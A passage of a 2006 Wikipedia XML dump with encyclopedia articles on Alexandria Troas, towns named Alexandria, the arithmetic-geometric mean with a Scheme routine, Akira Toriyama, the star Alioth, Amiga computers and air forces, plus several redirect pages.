    <id>3085</id>
    <revision>
      <id>39694561</id>
      <timestamp>2006-02-15T05:04:51Z</timestamp>
      <contributor>
        <username>Snottygobble</username>
        <id>111359</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.118.228.42|210.118.228.42]] ([[User talk:210.118.228.42|talk]]) to last version by Orioane</comment>
      <text xml:space="preserve">{{Otheruses2|Alexandria}}

'''Alexandria Troas''' (&quot;Alexandria of the Troad&quot;, mod. Eski Stambul) is an ancient [[Hellenistic civilization|Greek]] city of the [[Troad]], situated on the [[Aegean Sea|Aegean]] coast at nearly the middle of the western side of [[Turkey]], a little south of [[Tenedos]] (modern [[Gökçeada and Bozcaada|Bozcaada]]). It is located in the modern Turkish province of [[Çanakkale Province|Çanakkale]].

According to the [[Catholic Encyclopedia]], this site was first called Sigia; perhaps about [[310 BC]] [[Antigonus I Monophthalmus|Antigonus]] refounded the city as Antigonia Troas.  Early in the next century the name was changed by [[Lysimachus]] to Alexandria Troas, in memory of [[Alexander the Great]] ([[Pliny the Elder|Pliny]], N.H. 5.124 merely states that the name changed from Antigonia to Alexandria).  As the chief port of north-west Asia Minor, the place prospered greatly in Roman times, and the existing remains sufficiently attest its former importance. [[Strabo]] mentions that a [[Roman Empire|Roman]] colony was created at the location in the reign of [[Augustus]], named Colonia Alexandria Augusta Troas (called simply Troas during this period). Augustus, [[Hadrian]] and the rich grammarian [[Herodes Atticus]] contributed greatly to its embellishment; the aqueduct still preserved is due to the latter. [[Constantine I (emperor)|Constantine I]] considered making Troas the capital of the [[Roman Empire]].

In Roman times, it was a significant port for travelling between [[Anatolia]] and Europe. [[Paul of Tarsus]] sailed for Europe for the first time from Alexandria ([[Acts]], 16:8-11) and returned there from Europe (and there occurred later the episode of the raising of [[Eutychus]] ([[Acts of the Apostles|Acts]] 20:5-12). [[Ignatius of Antioch]] also paused at this city before continuing to Rome (''Ad Philad''. 11.2; ''Ad Smyrn''. 12.1).

Several of its later bishops are known: Marinus in 325; Niconius in 344; Sylvanus at the beginning of the [[5th century|fifth century]]; Pionius in 451; Leo in 787; Peter, friend of the [[Ignatius I of Constantinople|Patriarch Ignatius]], and adversary to Michael, in the ninth century. In the tenth century Troas is given as a suffragan of [[Cyzicus]] and distinct from the famous [[Troy]] (Gelzer, ''Ungedruckte . . .Texte der Notitiae episcopatuum'', 552; ''Georgii Cyprii descriptio orbis romani'', 64); it is not known when the city was destroyed and the diocese disappeared. 

The site [[as of 1911]] was covered with [[vallonea oak]]s, and has been much plundered (for example [[Mehmed IV]] took columns to adorn his new Valideh mosque in [[Istanbul]]), but the circuit of the old walls can be traced, and in several places they are fairly well preserved.  They had a circumference of about six [[English mile]]s, and were fortified with towers at regular intervals.  Remains of some ancient buildings, including a bath and gymnasium, can be found within this area. [[Trajan]] built an aqueduct which can still be traced. The harbour had two large basins, now almost choked with sand.

==References==
*{{1911}}
*{{Catholic}}

[[Category:Ancient Greek cities]]
[[Category:Archaeological sites in Greece]]
[[Category:Geography of Turkey]]
[[Category:Roman sites in Greece]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandretta</title>
    <id>3086</id>
    <revision>
      <id>22974630</id>
      <timestamp>2005-09-10T14:12:03Z</timestamp>
      <contributor>
        <username>Gilgamesh</username>
        <id>47947</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[İskenderun]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandria, Scotland</title>
    <id>3087</id>
    <revision>
      <id>38513680</id>
      <timestamp>2006-02-06T21:22:16Z</timestamp>
      <contributor>
        <username>Orioane</username>
        <id>362844</id>
      </contributor>
      <minor />
      <comment>dab link</comment>
      <text xml:space="preserve">{{Otheruses2|Alexandria}}

'''Alexandria''' is a town in [[West Dunbartonshire]], [[Scotland]]. The town is situated on the [[River Leven, Dunbartonshire|River Leven]], four miles north-west of [[Dumbarton]].

As of [[2001]], the population of the town is 13,444. It is the largest town in the [[Vale of Leven]], the others being [[Balloch, Dunbartonshire|Balloch]], [[Renton, Scotland|Renton]], [[Jamestown, Dunbartonshire|Jamestown]] and [[Bonhill]]; their combined population is over 20,000.

The town's traditional industry, most importantly cotton manufacturing, bleaching and printing, have been phased out.  The town was redeveloped in the [[1970s]] with a new town centre layout and traffic system.  Local landmarks include the Christie Park, the Fountain (a traffic junction in the town centre, although there has not been a working fountain there for some years) and what is now Lomond Outlets, a former factory with an impressive dome, which in the early [[1970s]] was the scene of the Plessey sit-in.  The town has the curious distinction of having the only unemployment benefit office in Britain with the insignia of King [[Edward VIII of the United Kingdom]] above the door.

Alexandria sits on the [[A82 road|A82]] main road between Glasgow and [[Loch Lomond]]. There are regular bus services on the route and the town has a train station on the rail line between Balloch and [[Glasgow Queen Street station|Glasgow Queen Street]].

[[Category:Towns in West Dunbartonshire]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandria, Romania</title>
    <id>3088</id>
    <revision>
      <id>41960069</id>
      <timestamp>2006-03-02T22:11:49Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ro</comment>
      <text xml:space="preserve">{{Otheruses2|Alexandria}}

{{Infobox City in Romania|
name=Alexandria|
map=Alexandria_in_Romania.png|
county=Teleorman County|
status=County capital|
mayor=Constantin Slăbescu|
party=[[Social Democratic Party (Romania)|Social Democratic Party]]|
election=2004|
area=|
census=2002|
population=58,651|
density=|
coordinates={{coor dms|43|58|7|N|25|20|0|E|type:city}}|
website=http://www.evstar.ro/alexandria/|
}}

'''Alexandria''' is the capital city of the [[Teleorman County]], [[Romania]]. It is located south of [[Bucharest]], towards the Bulgarian border. The city is situated on the [[Vedea]] River. The city has 58,651 inhabitants.

== Alexandria in 1900 ==
'''Alexandria''' is a town of [[Romania]], situated among the rich corn-lands of the [[Teleorman]] department, on the right bank of the river [[Vedea]].  Its population in 1900 was 13,675.  Its chief trade is in grain, despatched by rail to the Danubian port of [[Zimnicea]], or by river to [[Giurgiu]].  Alexandria was named after its founder, [[Alexandru Ghica]], prince of Romania from 1834 to 1842.

==References==
*{{1911}}

[[Category:Municipalities in Romania]]
[[Category:Teleorman County]]

&lt;br clear=&quot;all&quot;&gt;
{{Romania-geo-stub}}

[[bg:Александрия (Румъния)]]
[[cs:Alexandria (Rumunsko)]]
[[de:Alexandria (Rumänien)]]
[[nl:Alexandria (Roemenië)]]
[[ro:Alexandria]]</text>
    </revision>
  </page>
  <page>
    <title>Angela Vincent</title>
    <id>3089</id>
    <revision>
      <id>25785492</id>
      <timestamp>2005-10-18T00:40:08Z</timestamp>
      <contributor>
        <username>HeartofaDog</username>
        <id>491716</id>
      </contributor>
      <minor />
      <comment>add category</comment>
      <text xml:space="preserve">'''Angela Vincent''' is a professor at [[Somerville College, Oxford|Somerville College]] of [[University of Oxford|Oxford University]]. She is the head of a research group, which is located in the Institute of Molecular Sciences and working on a wide range of [[biology|biological]] disciplines encompassing [[molecular biology]], [[biochemistry]], cellular [[immunology]] and intracellular [[neurophysiology]]. The group's research is focused on autoimmune and [[genetic disorder]]s of the neuromuscular junction and peripheral motor nerves. The principal autoimmune diseases studied are [[myasthenia gravis]], the [[Lambert-Eaton myasthenic syndrome]] and acquired [[neuromyotonia]]. 

Her contributions are mainly on the roles of antibodies directed against [[ion channel]] at the [[nerve]]-[[muscle]] junction in the pathogenesis of above mentioned diseases. She has demonstrated that transfer of these [[antibody|antibodies]] across the [[placenta]] from the mother to the unborn baby in the [[uterus]] can cause developmental abnormalities. She has also worked on the principal gene [[mutation]]s causing nerve-muscle disorders.

[[Category:Biologists|Vincent, Angela]]
[[Category:Fellows of Somerville College, Oxford|Vincent, Angela]]</text>
    </revision>
  </page>
  <page>
    <title>Arithmetic-geometric mean</title>
    <id>3090</id>
    <revision>
      <id>37845102</id>
      <timestamp>2006-02-02T14:26:15Z</timestamp>
      <contributor>
        <username>Gwaihir</username>
        <id>303411</id>
      </contributor>
      <minor />
      <comment>+de:</comment>
      <text xml:space="preserve">In [[mathematics]], the '''arithmetic-geometric mean ''' 

:''M''(''x'', ''y'') 

of two positive [[real number]]s ''x'' and ''y'' is defined as follows: we first form the [[arithmetic mean]] of ''x'' and ''y'' and call it ''a''&lt;sub&gt;1&lt;/sub&gt;, i.e. 

:''a''&lt;sub&gt;1&lt;/sub&gt; = (''x'' + ''y'') / 2. 

We then form the [[geometric mean]] of ''x'' and ''y'' and call it ''g''&lt;sub&gt;1&lt;/sub&gt;, i.e. ''g''&lt;sub&gt;1&lt;/sub&gt; is the [[square root]] of ''xy''.
Now we can iterate this operation with ''a''&lt;sub&gt;1&lt;/sub&gt; taking the place of ''x'' and ''g''&lt;sub&gt;1&lt;/sub&gt; taking the place of ''y''. In this way, two [[sequence|sequences]] (''a''&lt;sub&gt;''n''&lt;/sub&gt;) and (''g''&lt;sub&gt;''n''&lt;/sub&gt;) are defined:

:&lt;math&gt;a_{n+1} = \frac{a_n + g_n}{2}&lt;/math&gt;

and

:&lt;math&gt;g_{n+1} = \sqrt{a_n g_n}.&lt;/math&gt;

These two sequences [[limit (mathematics)|converge]] to the same number, which we call the '''arithmetic-geometric mean''' M(''x'', ''y'') of ''x'' and ''y''. 

M(''x'', ''y'') is a number between the geometric and arithmetic mean of ''x'' and ''y''; in particular it is between ''x'' and ''y''. If ''r'' &gt; 0, then M(''rx'', ''ry'') = ''r'' M(''x'', ''y'').

M(''x'', ''y'') is sometimes denoted agm(''x'', ''y'').

=== Implementation ===
The following example code in the [[Scheme programming language]] computes the arithmetic-geometric mean of two positive real numbers:
&lt;pre&gt;
(define agmean
  (lambda (a b epsilon)
    (letrec ((ratio-diff       ; determine whether two numbers
	      (lambda (a b)    ; are already very close together
		(abs (/ (- a b) b))))
	     (loop             ; actually do the computation
	      (lambda (a b)
		;; if they're already really close together,
		;; just return the arithmetic mean
		(if (&lt; (ratio-diff a b) epsilon)
		    (/ (+ a b) 2)
		    ;; otherwise, do another step
		    (loop (sqrt (* a b)) (/ (+ a b) 2))))))
      ;; error checking
      (if (or (not (real? a))
	      (not (real? b))
	      (&lt;= a 0)
	      (&lt;= b 0))
	  (error 'agmean &quot;~s and ~s must both be positive real numbers&quot; a b)
	  (loop a b)))))
&lt;/pre&gt;

One can show that

:&lt;math&gt;\Mu(x,y) = \frac{\pi}{4} \cdot \frac{x + y}{K \left( \frac{x - y}{x + y} \right) }&lt;/math&gt;

where ''K''(''x'') is the ''complete [[elliptic integral]] of the first kind''.

The reciprocal of the arithmetic-geometric mean of 1 and the [[Square root of 2]] is called [[Gauss's constant]].

: &lt;math&gt; \frac{1}{\Mu(1, \sqrt{2})} = G &lt;/math&gt;

named after [[Carl Friedrich Gauss]].

The [[geometric-harmonic mean]] can be calculated by an analogous method, using sequences of geometric and [[harmonic mean|harmonic]] means.  The [[arithmetic-harmonic mean]] is none other than the geometric mean.

==See also== 
* [[generalized mean]]
* [[geometric-harmonic mean]]
* [[arithmetic mean]]
* [[geometric mean]]
* [[Gauss's constant]]

[[Category: Means]]
[[Category: Special functions]]
[[Category: Elliptic functions]]

[[de:Arithmetisch-geometrisches Mittel]]
[[ja:&amp;#31639;&amp;#34899;&amp;#24190;&amp;#20309;&amp;#24179;&amp;#22343;]]
[[pl:&amp;#346;rednia arytmetyczno-geometryczna]]
[[sv:Aritmetisk-geometriskt medelvärde]]</text>
    </revision>
  </page>
  <page>
    <title>Akira Toriyama</title>
    <id>3092</id>
    <revision>
      <id>42133430</id>
      <timestamp>2006-03-04T01:12:03Z</timestamp>
      <contributor>
        <ip>68.83.182.173</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Akira21.jpg|thumb|Akira Toriyama]]
'''Akira Toriyama''' (鳥山 明 ''Toriyama Akira'', born on [[April 5]], [[1955]] in [[Kiyosu, Aichi|Kiyosu]], [[Aichi Prefecture]]) is a [[Japan]]ese [[manga]] artist.

He debuted in [[1978]] with the story ''Wonder Island'', published in ''[[Weekly Shonen Jump]]'' magazine, and gained fame for ''[[Dr. Slump]]'', serialized weekly in Shonen Jump from [[1980]] to [[1984]].  

He is probably best known for his series ''[[Dragon Ball]]''. This work was one of the linchpins for what is known as the Golden Age of ''Jump''. Its success &quot;forced&quot; Toriyama to work on ''Dragon Ball'' from 1984 to [[1995]]. During that eleven-year period, he produced 519 chapters, collected into 42 volumes. Each volume has an average of 200 pages, so the entire ''Dragon Ball'' storyline extends to almost 9,000 pages. Moreover, the success of ''Dragon Ball'' led to an animated television series (with a later part of the story known as ''[[Dragon Ball Z]]''), feature-length animated [[film|movies]], [[video games]], and mega-merchandising.

His clean line and design sense led to jobs designing characters for the phenomenally popular ''[[Dragon Quest]]'' series of [[computer role-playing game|role-playing game]] (formerly called ''Dragon Warrior'' in the United States). He has also served as the character designer for the [[Super Nintendo Entertainment System|Super Famicom/SNES]] RPG ''[[Chrono Trigger]]'' and the popular [[fighting game]] ''[[Tobal No. 1]]'' for the [[PlayStation]] (as well as its sequel, ''[[Tobal 2]]'', released only in Japan), and continues to produce the occasional [[manga]] story.

His works after ''Dragon Ball'' tend to be short (100-200 page) stories, including ''[[Cowa!]]'', ''[[Kajika]]'', and ''[[Sandland]]'', as well as one-shots, like the spoof ''[[Neko Majin Z]]''.

He is currently the character designer for a new RPG coming out for the [[Xbox 360]] entitled ''[[Blue Dragon (video game)|Blue Dragon]]''.

The name of Toriyama's studio is ''[[Bird Studio]]'', which is a play on his name, meaning &quot;Bird Mountain&quot;.

==Selected Bibliography==
===Manga/Anime===
*''[[Wonder Island]]''
*''[[Dr. Slump]]''
*''[[Dragon Ball]]''
*''[[Akira Toriyama's Lousy Manga Laboratory]]''
*''[[Akira Toriyama's Insert Adjective Here Theatre]]''
*''[[Go!Go!Ackman]]''
*''[[Cowa!]]''
*''[[Kajika]]''
*''[[Sand Land]]''
*''[[Neko Majin Z]]''
===Childrens Books===
*''[[Toccio the Angel]]''
===Video Games===
*''[[Dragon Quest]]'' franchise
*''[[Chrono Trigger]]'' franchise
*''[[Tobal No. 1]]'' franchise

[[Category:1955 births|Toriyama, Akira]]
[[Category:Living people|Toriyama, Akira]]
[[Category:People from Aichi Prefecture|Toriyama, Akira]]
[[Category:Japanese comics artists|Toriyama, Akira]]
[[Category:Manga artists|Toriyama, Akira]]
[[Category:Dragon Ball|Toriyama, Akira]]

[[ca:Akira Toriyama]]
[[de:Akira Toriyama]]
[[es:Akira Toriyama]]
[[fr:Akira Toriyama]]
[[gl:Akira Toriyama]]
[[it:Akira Toriyama]]
[[nl:Akira Toriyama]]
[[ja:鳥山明]]
[[nn:Akira Toriyama]]
[[pl:Akira Toriyama]]
[[pt:Akira Toriyama]]
[[ru:Торияма, Акира]]
[[fi:Akira Toriyama]]
[[sv:Akira Toriyama]]
[[th:อากิรา โทริยามา]]
[[zh:鳥山明]]</text>
    </revision>
  </page>
  <page>
    <title>Epsilon Ursae Majoris</title>
    <id>3093</id>
    <revision>
      <id>41225586</id>
      <timestamp>2006-02-25T22:30:35Z</timestamp>
      <contributor>
        <username>Brighterorange</username>
        <id>219031</id>
      </contributor>
      <minor />
      <comment>missing period(s) ([[Wikipedia:WikiProject Punctuation|You can help!]])</comment>
      <text xml:space="preserve">{{Starbox begin |
   name=Epsilon Ursae Majoris }}
{{Starbox observe |
  epoch=J2000 |
  ra=12&lt;sup&gt;h&lt;/sup&gt; 54&lt;sup&gt;m&lt;/sup&gt; 01.6&lt;sup&gt;s&lt;/sup&gt; |
  dec=+55&amp;deg; 57&amp;prime; 35.4&amp;Prime; |
  appmag_v=1.76 |
  constell=[[Ursa Major]] }}
{{Starbox character |
  class=A0pCr |
  b-v=-0.02 |
  u-b=0.02  |
  variable=alpha&lt;sup&gt;2&lt;/sup&gt;-CVn }}
{{Starbox astrometry |
  radial_v=-9.3 |
  prop_mo_ra=111.74 |
  prop_mo_dec=-8.99 |
  parallax=40.3 |
  p_error=0.62 |
  dist_ly=80.9 |
  dist_pc=24.8 |
  absmag_v=-0.22 }}
{{Starbox detail|
  mass=~3 |
  radius=~4 |
  luminosity=108 | 
  temperature=9,400 |
  metal=? |
  rotation=38 km/sec. |
  age=? }}
{{Starbox catalog |
  names=Alioth, Allioth, Aliath, 77 Ursae Majoris, [[Harvard Revised catalogue|HR]] 4905, [[Bonner Durchmusterung|BD]] +56&amp;deg;1627, [[Henry Draper catalogue|HD]] 112185, [[General Catalogue of Trigonometric Parallaxes|GCTP]] 2964.00, [[Smithsonian Astrophysical Observatory|SAO]] 28553, FK5 483, CCDM 12540+5558, [[Hipparcos catalogue|HIP]] 62956. }}
{{Starbox end}}
'''Epsilon Ursae Majoris''' (&amp;epsilon; UMa / &amp;epsilon; Ursae Majoris) is the brightest [[star]] in the [[constellation]] [[Ursa Major]] (despite its [[Bayer designation]] being merely &quot;epsilon&quot;), and at [[apparent magnitude|magnitude]] 1.76 is the [[list of brightest stars|thirty-first brightest star]] in the sky.  It also has the traditional name '''Alioth''' (from the Arabic word ''alyat''&amp;mdash;fat tail of a sheep).

It is the star in the tail of the bear closest to its body, and thus the star in the handle of the [[Big Dipper]] closest to the bowl. It is also a member of the large and diffuse [[Ursa Major moving group]]. Historically, the star was frequently used in maritime navigation.{{ref label|1728|1|^}}

According to ''[[Hipparcos]]'', Alioth is 81 [[light year]]s (25 [[parsec]]s) from [[Earth]]. Its [[spectral type]] is A0p; the &quot;p&quot; stands for peculiar, as the [[electromagnetic spectrum|spectrum]] of its light is quite odd, of a kind characteristic of an [[Alpha2 Canum Venaticorum variable]]. Alioth, as a representative of this type, is believed to look the way it does because of two interacting processes: first, the star's strong [[magnetic field]] separating different elements salting the star's [[hydrogen]] fuel, then a rotation axis at an angle to the magnetic axis spinning different bands of magnetically sorted elements into the line of sight between Alioth and the Earth. The intervening elements react differently at different frequencies of light as they whip in and out of view, causing Alioth to have very strange [[spectral line]]s that fluctuate over a period of 5.1 days. In the case of Alioth, the rotational and magnetic axes are at almost 90 degrees to one another; in the map of Alioth linked below, note how the darker (more dense) regions of [[chromium]] form a band at right angles to the equator.

For its type, Alioth has a relatively weak magnetic field (15 times weaker than &amp;alpha; CVn's), but it is still 100 times stronger than that of the Earth.

==References==
#{{note label|1728|1|^}}{{1728}}

==External links==
* [http://zorba.as.utexas.edu/~artie/eumacr.gif Chromium distribution on Alioth]

[[Category:Bayer objects|Ursae Majoris, Epsilon]]
[[Category:Ursa Major constellation]]
[[Category:Alpha2 Canum Venaticorum variables]]
[[Category:White subgiants]]
[[Category:Eclipsing binaries]]
[[de:Alioth]]
[[gl:Alioth]]
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[[pl:Alioth]]
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    </revision>
  </page>
  <page>
    <title>Antisemitism</title>
    <id>3094</id>
    <revision>
      <id>15901462</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anti-Semitism]]
</text>
    </revision>
  </page>
  <page>
    <title>A500</title>
    <id>3095</id>
    <revision>
      <id>37759885</id>
      <timestamp>2006-02-02T00:18:35Z</timestamp>
      <contributor>
        <username>Pixel8</username>
        <id>84632</id>
      </contributor>
      <minor />
      <comment>restored image</comment>
      <text xml:space="preserve">:''For the A-road in England, see [[A500 road]].''

The '''A500''', also known as the '''Amiga 500''', was the first &quot;low-end&quot; [[Commodore International|Commodore]] [[Amiga]] [[16-bit]] [[multimedia]] home/[[personal computer]] model.  It was released in [[1987]], at the same time as the high-end [[A2000]], and competed directly against the [[Atari ST|Atari 520ST]]. 

[[Image:Amiga500 system.jpg|thumb|350px|An Amiga 500 computer system, with 1084S RGB monitor and A1010 floppy disk drive.]]

Technical specifications:
* [[Motorola 68000]] (32-bit [[CISC]] microprocessor with 16 registers lacking [[Memory management unit|MMU]] for memory protection and virtual memory) running at 7.16 MHz (NTSC version), 7.09 MHz (PAL version) 
* Default operating system [[AmigaOS]] 1.2 or 1.3 (having 32-bit [[pre-emptive multitasking]] [[microkernel]]) depending on the revision
* 512 [[kilobyte|KB]] of [[Chip RAM]] by default (sound buffers, graphics buffers and software existed in the same memory space)
**upper limit of 16 [[megabyte|MB]] of memory due to MC68000 limitations (24-bit external [[address bus]])
* [[Original Amiga chipset|OCS]]/[[Extended chip set|ECS]] chipset
*50 [[hertz|Hz]] [[PAL]] and 60 Hz [[NTSC]] [[television|TV]] output by default versions available; 50/60Hz mode switchable by software in later revisions
*software-switchable low-pass audio filter (power [[LED]] shows filter status, darker when off)
*[[IRQ]] sharing (like the PCI bus)
*IRQ system had 7 priority levels of [[interrupt]]s
**No limit on number of interrupts available
**Resources handled by Autoconfig, very similar to [[Advanced Configuration and Power Interface|ACPI]], resources were not numbered or labelled, just given as amounts and addresses
*No specific [[input/output|I/O]] ports, instead using memory mapped I/O space separately for each hardware device (thanks to [[Jay Miner]])

Amiga 500 was used a lot for gaming, and there were a variety of [[Atari]]-style game controllers that could be used. One of the most popular ones was [[TAC-2]], The Totally Accurate Controller mk2 by [[Suncom]].

{{CBM_computers}}

----

The '''A500''' designation was also used on an internal [[Acorn Archimedes]] development machine [http://www.drobe.co.uk/riscos/artifact476.html].

The '''A500''' often featured the words &quot;[[The B-52s]] Rock Lobster&quot; written on the motherboard, in reference to the popular song of that time period.

[[Category:Commodore Amiga]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Amiga 500]]
[[es:Commodore Amiga 500]]
[[fr:Amiga 500]]
[[hr:Amiga 500]]
[[it:Amiga 500]]
[[nn:Amiga 500]]</text>
    </revision>
  </page>
  <page>
    <title>Air force</title>
    <id>3096</id>
    <revision>
      <id>41729689</id>
      <timestamp>2006-03-01T09:42:31Z</timestamp>
      <contributor>
        <ip>218.215.193.132</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">An '''air force''' is a [[Armed force|military]] organization that primarily operates in [[aerial warfare]]. They typically use a combination of [[Fighter aircraft|fighters]], [[bomber]]s, [[helicopter]]s, [[Cargo aircraft#Military Cargo Aircraft|transport planes]] and other aircraft.  Many air forces are also responsible for operations of military space, [[intercontinental ballistic missile]]s (ICBM), and communications equipment.

==Organization==
Most, but not all, armed forces have air forces that are ''independent'' - that is, it is neither part of the [[army]] nor the [[navy]]. This does not stop armies and especially navies from possessing air arms to support their land or sea operations, although some, such as the [[Canadian Forces Air Command|Canadian Air Force]] operate all military aircraft, even when they are attached to [[Canadian Forces Land Force Command|Canadian Army]] units.

Air Forces typically operate numerous types of aircraft. These may include
* ''[[Fighter aircraft|Fighters]]'', used to destroy other aircraft;
* ''[[Bomber]]s'' and ''Attack Aircraft'', used to attack ground targets;
* ''[[Reconnaissance]] Aircraft'';
* ''[[Electronic Warfare]] Aircraft'';
* ''[[Airborne Early Warning]] Aircraft'';
* ''Transport Aircraft''; 
* ''Tankers'' which provide in-flight re-fuelling for other aircraft;
* ''[[Helicopter]]s'', used for attack, reconnaissance or transport;
* and ''Training Aircraft''.

Air forces also operate numerous types of satellites.  These satellites provide services such as:
* Secure and unsecure communications 
* Position, navigation and timing
* Missile warning
* Weather data
* Intelligence, surveillance and reconnaisance (ISR)

Some air forces such as the British [[Royal Air Force]] have a unique [[Air_force_officer_ranks|rank structure]]; other air forces such as the [[United States Air Force]] (USAF) have a [[Ranks_and_insignia_of_NATO_Air_Forces_Enlisted|rank structure on the Enlisted side]] that is unique, but the Officer corps uses [[Ranks_and_insignia_of_NATO_Air_Forces_Officers|Army-style rank]]. And finally there are air forces such as [[Soviet Air Force]] that use Army-style ranks for both Enlisted and Officer corps. Most (but not all) wear blue-grey uniforms pioneered by the Royal Air Force. The organization structures of the air forces also vary: some air forces (such as the [[United States Air Force]] and the [[Royal Air Force]]) are divided into ''commands'', ''groups'' and ''squadrons''; others (such as the [[Soviet Air Force]]) have an Army-syle organizational structure.

Contrary to popular belief, pilots often make up only a small portion of an air force's personnel.  For every pilot, there is a flight crew who supports the air craft, a maintenance group, communications crew, satellite operators, administrative personnel, medical personnel...in truth, although the majority of the senior leadership of most air forces are pilots, the majority of the personnel are not. Some air forces also operate [[anti-aircraft artillery]] (now with [[radar]]s and [[missile]]s), and a few air forces even have their own [[paratrooper]]s. Given the pilots' special status, they often wear special insignia in the form of a [[vol]] or &quot;wings&quot;. Other air crews might wear variations of such insignia.

==See also==
*[[List of air forces]]
*[[United States Air Force]]
*[[Aerial warfare]]
*[[Life support (aviation)]]


[[Category:Military aviation organization]]
[[Category:Types of military]]
[[Category:Air forces| ]]

[[da:Flyvevåben]]
[[de:Luftstreitkräfte]]
[[eo:Aerarmeo]]
[[fr:Armée de l'Air]]
[[he:חיל האוויר]]
[[ka:სამხედრო-საჰაერო ძალები]]
[[nl:Luchtmacht]]
[[ja:空軍]]
[[no:Flyvåpen]]
[[nn:Flyvåpen]]
[[pt:Força Aérea]]
[[ro:Forţă aeriană]]
[[simple:Air force]]
[[sl:Vojno letalstvo]]
[[fi:Ilmavoimat]]
[[sv:Flygvapen]]
[[zh:空军]]</text>
    </revision>
  </page>
  <page>
    <title>AWACS</title>
    <id>3097</id>
    <revision>
      <id>38920124</id>
      <timestamp>2006-02-09T14:44:12Z</timestamp>
      <contributor>
        <username>N328KF</username>
        <id>77722</id>
      </contributor>
      <comment>It's an acronym, not a term...leave it!</comment>
      <text xml:space="preserve">#REDIRECT [[Airborne Warning And Control System]]</text>
    </revision>
  </page>
  <page>
    <title>Abiword</title>
    <id>3099</id>
    <revision>
      <id>15901466</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[AbiWord]]
</text>
    </revision>
  </page>
  <page>
    <title>AGA</title>
    <id>3100</id>
    <revision>
      <id>40723484</id>
      <timestamp>2006-02-22T16:01:23Z</timestamp>
      <contributor>
        <ip>193.58.46.226</ip>
      </contributor>
      <text xml:space="preserve">'''AGA''' is a [[three-letter abbreviation]] with multiple meanings, as described below:

* [[American Arbitration Association]]
* [[AGA cooker]]
* [[Birth weight|Adequate for gestational age]]
* [[American Gastroenterological Association]]
* [[American Go Association]]
* [[American Grand Prix Association]]
* [[Accredited Gem Appraisers]]
* [[American Gas Association]]
* [[Anti Gay Association]]
* [[Advanced Graphics Architecture]], a graphics standard invented by Commodore, for the [[Amiga]] Computer.
* [[AGA (automobile)|AGA]], the [[Germany|German]] [[automobile]].
* AGA, a [[Sweden|Swedish]] company, which mainly produces various gases.

See also: [[aga]]

{{TLAdisambig}}

[[de:AGA]]
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[[fi:AGA]]</text>
    </revision>
  </page>
  <page>
    <title>Amiga 1200</title>
    <id>3101</id>
    <revision>
      <id>39961143</id>
      <timestamp>2006-02-17T02:56:11Z</timestamp>
      <contributor>
        <username>Seek100</username>
        <id>946532</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Amiga 1200 with mouse, drives.jpg|right|300px]]
The '''Amiga 1200''', or '''A1200''', was [[Commodore International]]'s third-generation [[Amiga]] computer, aimed at the home market. It was released in October 1992, at a base price of £399 in the [[United Kingdom]] and $599 in the [[United States]].

Like its predecessor, the [[A500]], it featured an all-in-one design incorporating the [[Central processing unit|CPU]], keyboard, and [[disk drive]]s (including, unlike the A500, the option of an internal [[hard disk drive]]) in one physical unit. It shipped with 2 MB of [[Chip RAM]] (and no [[Fast RAM]] as in it's bigger brother the [[A4000]]), Commodore's third-generation chipset, [[Advanced Graphics Architecture|AGA]]; and [[AmigaOS]] 3.0. It utilized a [[Motorola]] [[MC68EC020]] [[CISC]] [[Central processing unit|CPU]] (a 68020 with 24bit addressing) running at 14.18 MHz [[PAL]] / 14.32 MHz [[NTSC]].  For expansion, the A1200 featured a memory/CPU slot, a [[PCMCIA]] slot and a feature unique to the A1200 - a clockport, a remnant of an abandoned design feature (a real time clock and expandable Chip RAM) which has since been used by third-party expansion boards.

Because the unit's memory was shared between the CPU and the sound and video chips, expanding memory beyond 2 MB greatly increased the A1200's speed. Various third-party accelerators featuring [[Motorola 68020|68020]], [[Motorola 68030|68030]], [[Motorola 68040|68040]], [[Motorola 68060|68060]] and later [[PowerPC]] processors quickly became available to increase the computer's speed further.

Unlike the A500 and A600, which were only incremental upgrades over the original A1000 released in 1985, the A1200 was a significant upgrade, featuring more than four times the processing power and greatly enhanced graphics capabilities. However, the A1200 proved not to be as popular as the A500. Although its graphics capabilities stood up well in comparison to the [[Intel 80386]] and [[Intel 80486|486]]-based [[IBM PC compatible]]s it competed against, many PC clones had more processing power and a lower price, in addition to a larger software library. The Amiga's custom chips were simply more expensive to produce than the commodity chips utilized in PCs, which drove up the A1200's price. In addition, fewer retailers carried the A1200 than earlier Commodore computers, especially in the United States. Although Commodore never released any official sales figures, it is estimated that Commodore shipped fewer than 1 million A1200s worldwide before going bankrupt in April 1994.

The A1200 was re-launched in 1995 after the Amiga assets were sold to Escom, but the new units were priced at 1992 levels and experienced compatibility problems. As of 2003, the A1200 is still being sold by Amiga, Inc., the fourth company to own the rights to the machine.

{{CBM_computers}}

[[Category:Commodore Amiga]]

[[de:Amiga 1200]]
[[es:Commodore Amiga 1200]]
[[fr:Amiga 1200]]
[[fi:Amiga 1200]]</text>
    </revision>
  </page>
  <page>
    <title>Amiga 1000</title>
    <id>3104</id>
    <revision>
      <id>42118205</id>
      <timestamp>2006-03-03T23:08:06Z</timestamp>
      <contributor>
        <username>Anss123</username>
        <id>744916</id>
      </contributor>
      <comment>/* Technical specifications */  Added Parrallel port</comment>
      <text xml:space="preserve">[[Image:Amiga 1000.jpg|thumb|Amiga 1000 (1985)]]

